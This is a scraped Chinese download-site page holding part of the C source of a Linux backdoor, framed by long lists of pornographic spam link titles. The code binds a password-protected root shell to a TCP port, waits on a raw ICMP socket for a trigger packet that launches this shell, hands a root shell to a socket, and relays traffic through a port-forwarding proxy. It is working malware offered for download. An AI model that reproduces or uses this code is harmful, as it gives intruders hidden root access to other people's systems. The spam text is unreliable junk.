亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 一個多功能linux 后門的源代碼.txt

?? 一個多功能 linux 后門的源代碼 C
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
{ 
i = fread(ret_buf, 1, 32768, f); 
if (i == 0) break; 
writen_file(fd, ret_buf, i); 
} 
fclose(f); 
exit(0); 
} 
writen_file(fd, erro, strlen(erro)); 
close(fd); 
exit(-1); 
} 


/* writen data to socket */ 
ssize_t writen_file(int fd, const void *vptr, size_t n)   
{ 
size_t nleft; 
ssize_t nwritten; 
const char *ptr; 
ptr = vptr; 
nleft = n; 
while(nleft > 0) 
{ 
if((nwritten = write(fd, ptr, nleft)) <= 0) 
{ 
if(errno == EINTR) 
nwritten = 0; 
else 
return(-1); 
} 
nleft -= nwritten; 
ptr += nwritten; 
} 
return(n); 
} 

/* bind root shell to a port */ 
int bind_shell(int port) 
{ 
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time; 
char passwd[15]; 

struct sockaddr_in serv_addr; 
struct sockaddr_in client_addr; 
struct timeval testtime; 

setuid(0); 
setgid(0); 
seteuid(0); 
setegid(0); 

chdir("/"); 

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
  
  if (soc_des == -1) 
exit(-1); 

bzero((char *) &serv_addr,sizeof(serv_addr)); 
serv_addr.sin_family = AF_INET; 
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); 
serv_addr.sin_port = htons(port); 

soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); 

if (soc_rc != 0) 
exit(-1); 
if (fork() != 0) 
exit(0); 
setpgrp(); 
if (fork() != 0) 
  exit(0); 
soc_rc = listen(soc_des, 5); 
if (soc_rc != 0) 
  exit(0); 
  
  testtime.tv_sec = TIMEOUT; 
testtime.tv_usec = 0; 

/*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime, sizeof(testtime));*/ 

alarm(TIMEOUT); 
soc_len = sizeof(client_addr); 
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); 

if (soc_cli < 0) 
exit(0); 
alarm(0); 

cli_pid = getpid(); 
server_pid = fork(); 

if (server_pid != 0) 
{ 
write(soc_cli, GIVEPASS, strlen(GIVEPASS)); 
recv(soc_cli, passwd, sizeof(passwd), 0); 

for (i = 0; i < strlen(passwd); i++) 
{ 
if (passwd[i] == '\n' || passwd[i] == '\r') 
{ 
passwd[i] = '\0'; 
} 
} 

if (strcmp(passwd, PASSWORD) != 0) 
{ 
close(soc_cli); 
close(soc_rc); 
exit(-1); 
} 

write(soc_cli, MESSAGE, strlen(MESSAGE)); 
for (i = 0; i < 3; i++) 
{ 
dup2(soc_cli, i); 
} 

execl("/bin/sh","sh",(char *)0); 
close(soc_cli); 
close(soc_rc); 
exit(1); 
} 
close(soc_cli); 
close(soc_rc); 
exit(0); 
} 

/* return a root shell */ 
int get_shell(int fd) 
{ 
int i; 
setuid(0); 
setgid(0); 

chdir("/"); 
write(fd, MESSAGE, strlen(MESSAGE)); 
for (i = 0; i < 3; i++) 
{ 
dup2(fd, i); 
} 
execl("/bin/sh","sh",(char *)0); 
close(fd); 
return 1; 
} 

/* icmp backdoor */ 
int icmp_shell() 
{ 
int i, s, size, fromlen, port = ICMP_PORT; 
char pkt[4096]; 

struct protoent *proto; 
struct sockaddr_in from; 

proto = getprotobyname("icmp"); 

/* can't creat raw socket */ 
if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)  
exit(0); 

/* waiting for packets */ 
while(1) 
{ 
do 
{ 
fromlen = sizeof(from); 
if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&from, &fromlen)) < 0) 
    printf("", size - 28); 
}while(size != SIZEPACK + 28); 

/* size == SIZEPACK, let's bind the shell on your port :)*/ 
switch(fork())   
{ 
case -1: 
continue; 

case 0: 
bind_shell(port); 
exit (0); 
} 
} 
return 1; 
} 

/* tran socks code */ 
int socks(int listenp, char *targeth, int targetp) 
{ 
int listfd, outside, inside, size; 
pthread_t thread1; 
struct sockaddr_in client; 

if(!(listfd = create_socket())) exit(1); 
if(!(create_serv(listfd, listenp))) exit(1); 
  
  for(;;) 
{ 
size = sizeof(struct sockaddr); 
/*printf("waiting for response.........\n");*/ 
if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0) 
{ 
/*printf("accept error\n");*/ 
continue; 
} 

/*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/ 
if(!(infd=create_socket())) exit(1); 
if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd);  
     
maxfd = max(outfd, infd) + 1; 
pthread_create(&thread1, NULL, (void *)&out2in, NULL); 
} 
  close(listfd); 
} 

int create_socket() 
{  
int sockfd; 
if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0) 
{ 
/*printf("Create socket error\n");*/ 
return(0); 
} 
return(sockfd); 
} 

int create_serv(int sockfd, int port) 
{ 
struct sockaddr_in srvaddr; 
    
bzero(&srvaddr, sizeof(struct sockaddr)); 
srvaddr.sin_port = htons(port); 
srvaddr.sin_family = AF_INET; 
srvaddr.sin_addr.s_addr = htonl(INADDR_ANY); 
  
if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0) 
{ 
/*printf("Bind to port %d error\n",port);*/ 
return(0); 
} 
  
if(listen(sockfd,CONNECT_NUMBER)<0) 
{ 
/*printf("listen error\n");*/ 
return(0); 
} 
return(1); 
} 

int client_connect(int sockfd, char *server, int port) 
{ 
struct sockaddr_in cliaddr; 
struct hostent *host; 

if(!(host = gethostbyname(server))) 
{ 
/*printf("gethostbyname error:%s\n",server);*/ 
return(0); 
}  
  
bzero(&cliaddr, sizeof(struct sockaddr)); 
cliaddr.sin_family = AF_INET; 
cliaddr.sin_port = htons(port); 
cliaddr.sin_addr = *((struct in_addr *)host->h_addr); 
  
if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) < 0) 
{ 
/*printf("connect %s:%d error\n",server,port);*/ 
return(0); 
} 
return(1); 
} 

int quit(int a, int b, int c) 
{ 
close(a); 
close(b); 
close(c); 
exit(1); 
} 

void out2in() 
{ 
struct timeval timeset; 
fd_set readfd, writefd; 
int result, i = 0; 
char read_in1[MAXSIZE], send_out1[MAXSIZE]; 
char read_in2[MAXSIZE], send_out2[MAXSIZE]; 
int read1 = 0, totalread1 = 0, send1=0; 
int read2 = 0, totalread2 = 0, send2=0; 
int out_fd, in_fd; 
  
out_fd = outfd; 
in_fd = infd; 
  
bzero(read_in1, MAXSIZE); 
bzero(read_in2, MAXSIZE); 
bzero(send_out1, MAXSIZE); 
bzero(send_out2, MAXSIZE); 
  
timeset.tv_sec = TIMEOUT; 
timeset.tv_usec = 0; 

while(1) 
{ 
FD_ZERO(&readfd); 
FD_ZERO(&writefd); 
  
FD_SET(out_fd, &readfd); 
FD_SET(in_fd, &writefd); 
FD_SET(out_fd, &writefd); 
FD_SET(in_fd, &readfd); 
  
result = select(maxfd, &readfd, &writefd, NULL, ×et); 
if(result < 0) 
{ 
/*printf("select error\n");*/ 
return; 
} 
else 
if(result == 0) 
{ 
/*printf("time out\n");*/ 
return; 
} 

if(FD_ISSET(out_fd, &readfd)) 
{ 
    read1 = recv(out_fd, read_in1, MAXSIZE, 0); 
if(read1 == 0) break; 
if(read1 < 0) 
{ 
/*printf("read data error\n");*/ 
return; 
} 
memcpy(send_out1 + totalread1, read_in1, read1); 
totalread1 += read1; 
bzero(read_in1, MAXSIZE); 
} 
if(FD_ISSET(in_fd, &writefd)) 
{ 
while(totalread1 > 0) 
{ 
send1 = write(in_fd, send_out1, totalread1); 
if(send1 == 0)break; 
if(send1 < 0) 
{ 
/*printf("unknow error\n");*/ 
continue; 
} 
totalread1 -= send1; 
} 
bzero(send_out1, MAXSIZE); 
} 

if(FD_ISSET(in_fd, &readfd)) 
{ 
read2 = recv(in_fd, read_in2, MAXSIZE, 0); 
if(read2 == 0) break; 
if(read2 < 0) 
{ 
/*printf("read data error\n");*/ 
return; 
} 

memcpy(send_out2 + totalread2, read_in2, read2); 
totalread2 += read2; 
bzero(read_in2, MAXSIZE); 
} 

if(FD_ISSET(out_fd, &writefd)) 
{ 
while(totalread2 > 0) 
{ 
send2 = write(out_fd, send_out2, totalread2); 
if(send2 == 0) break; 
if(send2 < 0) 
{ 
/*printf("unknow error\n");*/ 
continue; 
} 

totalread2 -= send2; 
} 
bzero(send_out2, MAXSIZE); 
} 
}   
close(out_fd); 
close(in_fd); 
return; 
} 

char x2c(char *what) 
{ 
register char digit; 

digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); 
digit *= 16; 
digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); 
return (digit); 
} 


void unescape_url(char *url) 
{ 
register int x, y; 

for(x = 0 , y = 0; url[y]; ++x, ++y) 
{ 
if((url[x] = url[y]) == '%') 
{ 
url[x] = x2c(&url[y + 1]); 
y += 2; 
} 
} 
url[x] = '\0'; 
} 

void plustospace(char *str) 
{ 
register int x; 

for(x = 0; str[x]; x++) 
if (str[x] == '+') 
str[x] = ' '; 
} 

 
 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产亚洲va综合人人澡精品| 丰满少妇在线播放bd日韩电影| 在线免费观看成人短视频| 亚洲欧洲精品一区二区三区 | 一区二区三区波多野结衣在线观看| av电影天堂一区二区在线| 1024国产精品| 欧美日韩三级在线| 免费在线欧美视频| 日韩美一区二区三区| 国产精品 欧美精品| 亚洲欧美偷拍卡通变态| 欧美剧情片在线观看| 国产乱妇无码大片在线观看| 国产精品久久久久久亚洲毛片| 91一区在线观看| 日韩精品国产欧美| 国产夜色精品一区二区av| 91丨porny丨中文| 五月天网站亚洲| ww久久中文字幕| 色伊人久久综合中文字幕| 午夜国产精品影院在线观看| 久久久精品人体av艺术| 91久久精品一区二区三| 久久 天天综合| 亚洲欧美韩国综合色| 日韩美女一区二区三区| 91丨九色porny丨蝌蚪| 蜜桃av一区二区三区| 亚洲欧美日韩小说| 精品欧美久久久| 在线观看欧美精品| 国产一二精品视频| 日日摸夜夜添夜夜添精品视频| 国产午夜亚洲精品理论片色戒| 欧美视频一区二区| 成人精品免费看| 人人狠狠综合久久亚洲| 国产精品久久久久aaaa樱花| 欧美一区二区三区在线看| 成人av在线电影| 精品亚洲porn| 五月天一区二区| 亚洲免费观看在线观看| 国产色婷婷亚洲99精品小说| 欧美一区二区日韩| 在线观看91视频| 成人久久视频在线观看| 国产一区亚洲一区| 日韩成人午夜精品| 一区二区三区精品视频在线| 国产精品电影一区二区三区| 久久综合网色—综合色88| 8x福利精品第一导航| 99久久精品费精品国产一区二区| 国产精品亚洲综合一区在线观看| 日韩av中文字幕一区二区| 亚洲综合激情另类小说区| 综合av第一页| 最新欧美精品一区二区三区| 国产日本亚洲高清| 精品99999| 久久综合九色综合欧美98| 欧美成人video| 日韩免费视频一区二区| 日韩限制级电影在线观看| 欧美伊人久久久久久久久影院 | 美女任你摸久久| 亚洲成av人片一区二区三区| 玉米视频成人免费看| 国产精品不卡在线| 国产精品天美传媒| 国产日产精品一区| 中文字幕精品一区二区精品绿巨人| 国产亚洲一区二区在线观看| 久久久久久久久久久电影| 久久欧美一区二区| 日本一区二区不卡视频| 中文字幕在线一区二区三区| 国产精品美女久久久久aⅴ国产馆 国产精品美女久久久久av爽李琼 国产精品美女久久久久高潮 | 欧美军同video69gay| 欧美在线影院一区二区| 欧美日韩一区二区三区在线看| 欧洲精品一区二区| 欧美日本一区二区在线观看| 日韩一级黄色片| 精品人在线二区三区| 国产女主播一区| 18涩涩午夜精品.www| 一区二区三区四区不卡在线 | 日韩vs国产vs欧美| 日韩高清一区二区| 精品一区二区久久| 国产成人精品免费一区二区| 91美女视频网站| 欧美精选一区二区| 日韩精品一区二区三区四区视频 | 日韩一卡二卡三卡| 久久九九久久九九| 国产精品国产三级国产有无不卡| 秋霞午夜av一区二区三区| 奇米影视一区二区三区| 国产精品自产自拍| 在线观看一区二区精品视频| 欧美一区二区日韩一区二区| 日本一区二区动态图| 亚洲一区在线电影| 精品一区二区在线播放| 北岛玲一区二区三区四区| 欧美伊人精品成人久久综合97 | 中文字幕免费观看一区| 亚洲男人天堂一区| 蜜桃视频一区二区| 不卡的av在线| 日韩女同互慰一区二区| 1024国产精品| 韩国毛片一区二区三区| 一本色道久久综合狠狠躁的推荐 | 在线视频你懂得一区二区三区| 日韩一区二区在线免费观看| 国产精品视频yy9299一区| 日本一区中文字幕| 99re热这里只有精品免费视频| 7777精品伊人久久久大香线蕉 | 色噜噜久久综合| 久久影院视频免费| 一区二区国产盗摄色噜噜| 懂色一区二区三区免费观看 | 色婷婷激情综合| 久久新电视剧免费观看| 亚洲444eee在线观看| 国产iv一区二区三区| 日韩亚洲欧美高清| 亚洲图片有声小说| av中文字幕不卡| 欧美一级黄色大片| 亚洲永久精品大片| 91在线小视频| 欧美激情一区二区三区全黄| 蜜臀av一级做a爰片久久| 在线精品视频小说1| 国产精品天干天干在线综合| 精品一区二区三区av| 欧美一级二级在线观看| 亚洲成人黄色小说| 色吊一区二区三区| 青青草国产成人av片免费| 99re8在线精品视频免费播放| 26uuu精品一区二区三区四区在线| 亚洲第一精品在线| 欧美性色黄大片| 亚洲精品久久7777| 91色在线porny| 国产精品久久久久一区| 成人免费黄色在线| 国产精品国产成人国产三级| 国产精品白丝jk黑袜喷水| 欧美精品一区二| 黄网站免费久久| 欧美大度的电影原声| 免费成人性网站| 91精品国产色综合久久| 午夜久久久久久久久| 欧美日韩国产一区二区三区地区| 一区二区三区四区av| 欧美三级午夜理伦三级中视频| 一区av在线播放| 欧美伦理视频网站| 天天色天天操综合| 欧美老人xxxx18| 免费看日韩a级影片| 日韩小视频在线观看专区| 精品一区二区在线观看| 国产午夜久久久久| 成人手机电影网| 亚洲色图欧洲色图婷婷| 色欧美乱欧美15图片| 亚洲综合色视频| 欧美精品丝袜久久久中文字幕| 五月激情六月综合| 日韩视频免费观看高清完整版在线观看 | 成人美女视频在线观看18| 中文字幕在线观看不卡视频| 91麻豆精品秘密| 亚洲h在线观看| 日韩欧美一区二区在线视频| 国产毛片精品视频| 中文字幕日本不卡| 欧美无人高清视频在线观看| 视频一区二区三区在线| 日韩美女一区二区三区| 福利一区二区在线| 一区二区三区中文字幕| 欧美精品高清视频| 国产成人av影院| 亚洲综合999| 久久久久一区二区三区四区| 色94色欧美sute亚洲13| 久久成人羞羞网站|